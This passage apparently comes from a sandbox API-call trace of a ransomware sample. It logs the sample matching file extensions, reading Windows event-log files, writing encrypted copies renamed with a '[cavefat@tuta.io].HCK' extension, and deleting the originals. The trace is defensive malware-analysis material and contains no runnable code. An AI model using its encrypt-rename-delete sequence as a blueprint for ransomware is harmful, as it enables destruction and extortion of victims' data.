(lpString=".pdf") returned 4 [0156.189] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString=".xls") returned 4 [0156.189] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString=".xlsx") returned 5 [0156.189] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.190] lstrlenW (lpString=".ppt") returned 4 [0156.190] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.190] lstrlenW (lpString=".zip") returned 4 [0156.190] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.190] lstrlenW (lpString=".rar") returned 4 [0156.190] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.190] lstrlenW (lpString=".bz2") returned 4 [0156.190] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.190] lstrlenW (lpString=".7z") returned 3 [0156.190] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.190] lstrlenW (lpString=".dbf") returned 4 [0156.190] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.190] lstrlenW (lpString=".1cd") returned 4 [0156.190] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.190] lstrlenW (lpString=".jpg") returned 4 [0156.190] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.190] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.190] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0156.190] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.190] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0156.190] CloseHandle (hObject=0x2fc) returned 1 [0156.190] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0156.190] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.190] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.191] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.191] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.191] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0156.191] GetLastError () returned 0x0 [0156.191] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.194] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.195] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.195] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x128, lpOverlapped=0x0) returned 1 [0156.195] SetEndOfFile (hFile=0x394) returned 1 [0156.195] CloseHandle (hObject=0x394) returned 1 [0156.197] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.197] SetEndOfFile (hFile=0x2fc) returned 1 [0156.198] CloseHandle (hObject=0x2fc) returned 1 [0156.198] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.198] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0156.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.198] lstrlenW (lpString=".doc") returned 4 [0156.198] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".docx") returned 5 [0156.199] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.199] lstrlenW (lpString=".pdf") returned 4 [0156.199] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".xls") returned 4 [0156.199] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".xlsx") returned 5 [0156.199] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.199] lstrlenW (lpString=".ppt") returned 4 [0156.199] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.199] lstrlenW (lpString=".zip") returned 4 [0156.199] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".rar") returned 4 [0156.199] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".bz2") returned 4 [0156.199] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".7z") returned 3 [0156.199] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.199] lstrlenW (lpString=".dbf") returned 4 [0156.199] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.199] lstrlenW (lpString=".1cd") returned 4 [0156.199] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.199] lstrlenW (lpString=".jpg") returned 4 [0156.199] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.199] lstrlenW (lpString=".doc") returned 4 [0156.199] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".docx") returned 5 [0156.199] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.199] lstrlenW (lpString=".pdf") returned 4 [0156.199] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".xls") returned 4 [0156.199] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".xlsx") returned 5 [0156.199] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.199] lstrlenW (lpString=".ppt") returned 4 [0156.199] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.199] lstrlenW (lpString=".zip") returned 4 [0156.199] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".rar") returned 4 [0156.199] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".bz2") returned 4 [0156.199] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.199] lstrlenW (lpString=".7z") returned 3 [0156.200] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.200] lstrlenW (lpString=".dbf") returned 4 [0156.200] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.200] lstrlenW (lpString=".1cd") returned 4 [0156.200] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0156.200] lstrlenW (lpString=".jpg") returned 4 [0156.200] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.200] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.200] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0156.200] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.200] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0156.200] CloseHandle (hObject=0x2fc) returned 1 [0156.200] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0156.200] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.200] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.200] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.200] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.200] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0156.201] GetLastError () returned 0x0 [0156.201] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.203] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.204] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.204] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x122, lpOverlapped=0x0) returned 1 [0156.204] SetEndOfFile (hFile=0x394) returned 1 [0156.204] CloseHandle (hObject=0x394) returned 1 [0156.206] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.206] SetEndOfFile (hFile=0x2fc) returned 1 [0156.207] CloseHandle (hObject=0x2fc) returned 1 [0156.207] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.207] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0156.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.208] lstrlenW (lpString=".doc") returned 4 [0156.208] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".docx") returned 5 [0156.208] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.208] lstrlenW (lpString=".pdf") returned 4 [0156.208] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".xls") returned 4 [0156.208] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".xlsx") returned 5 [0156.208] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.208] lstrlenW (lpString=".ppt") returned 4 [0156.208] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.208] lstrlenW (lpString=".zip") returned 4 [0156.208] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".rar") returned 4 [0156.208] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".bz2") returned 4 [0156.208] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".7z") returned 3 [0156.208] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.208] lstrlenW (lpString=".dbf") returned 4 [0156.208] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.208] lstrlenW (lpString=".1cd") returned 4 [0156.208] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.208] lstrlenW (lpString=".jpg") returned 4 [0156.208] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.208] lstrlenW (lpString=".doc") returned 4 [0156.208] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".docx") returned 5 [0156.208] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.208] lstrlenW (lpString=".pdf") returned 4 [0156.208] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".xls") returned 4 [0156.208] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".xlsx") returned 5 [0156.208] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.208] lstrlenW (lpString=".ppt") returned 4 [0156.208] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.208] lstrlenW (lpString=".zip") returned 4 [0156.208] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".rar") returned 4 [0156.208] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.208] lstrlenW (lpString=".bz2") returned 4 [0156.209] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.209] lstrlenW (lpString=".7z") returned 3 [0156.209] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.209] lstrlenW (lpString=".dbf") returned 4 [0156.209] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.209] lstrlenW (lpString=".1cd") returned 4 [0156.209] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0156.209] lstrlenW (lpString=".jpg") returned 4 [0156.209] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.209] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.209] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0156.209] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.209] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0156.209] CloseHandle (hObject=0x2fc) returned 1 [0156.209] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0156.209] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.209] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.209] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.209] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.209] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0156.210] GetLastError () returned 0x0 [0156.210] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.581] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.582] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.582] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x124, lpOverlapped=0x0) returned 1 [0156.582] SetEndOfFile (hFile=0x394) returned 1 [0156.667] CloseHandle (hObject=0x394) returned 1 [0156.704] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.704] SetEndOfFile (hFile=0x2fc) returned 1 [0156.706] CloseHandle (hObject=0x2fc) returned 1 [0156.706] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.706] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0156.706] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.706] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.706] lstrlenW (lpString=".doc") returned 4 [0156.706] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.706] lstrlenW (lpString=".docx") returned 5 [0156.706] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.706] lstrlenW (lpString=".pdf") returned 4 [0156.706] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString=".xls") returned 4 [0156.707] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString=".xlsx") returned 5 [0156.707] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.707] lstrlenW (lpString=".ppt") returned 4 [0156.707] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.707] lstrlenW (lpString=".zip") returned 4 [0156.707] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString=".rar") returned 4 [0156.707] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString=".bz2") returned 4 [0156.707] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString=".7z") returned 3 [0156.707] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.707] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.707] lstrlenW (lpString=".dbf") returned 4 [0156.707] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.707] lstrlenW (lpString=".1cd") returned 4 [0156.707] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.707] lstrlenW (lpString=".jpg") returned 4 [0156.707] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.707] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.707] lstrlenW (lpString=".doc") returned 4 [0156.707] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString=".docx") returned 5 [0156.707] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.707] lstrlenW (lpString=".pdf") returned 4 [0156.707] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString=".xls") returned 4 [0156.707] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.707] lstrlenW (lpString=".xlsx") returned 5 [0156.707] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.708] lstrlenW (lpString=".ppt") returned 4 [0156.708] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.708] lstrlenW (lpString=".zip") returned 4 [0156.708] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.708] lstrlenW (lpString=".rar") returned 4 [0156.708] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.708] lstrlenW (lpString=".bz2") returned 4 [0156.708] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.708] lstrlenW (lpString=".7z") returned 3 [0156.708] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.708] lstrlenW (lpString=".dbf") returned 4 [0156.708] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.708] lstrlenW (lpString=".1cd") returned 4 [0156.708] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0156.708] lstrlenW (lpString=".jpg") returned 4 [0156.708] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.708] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.708] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0156.708] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.708] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 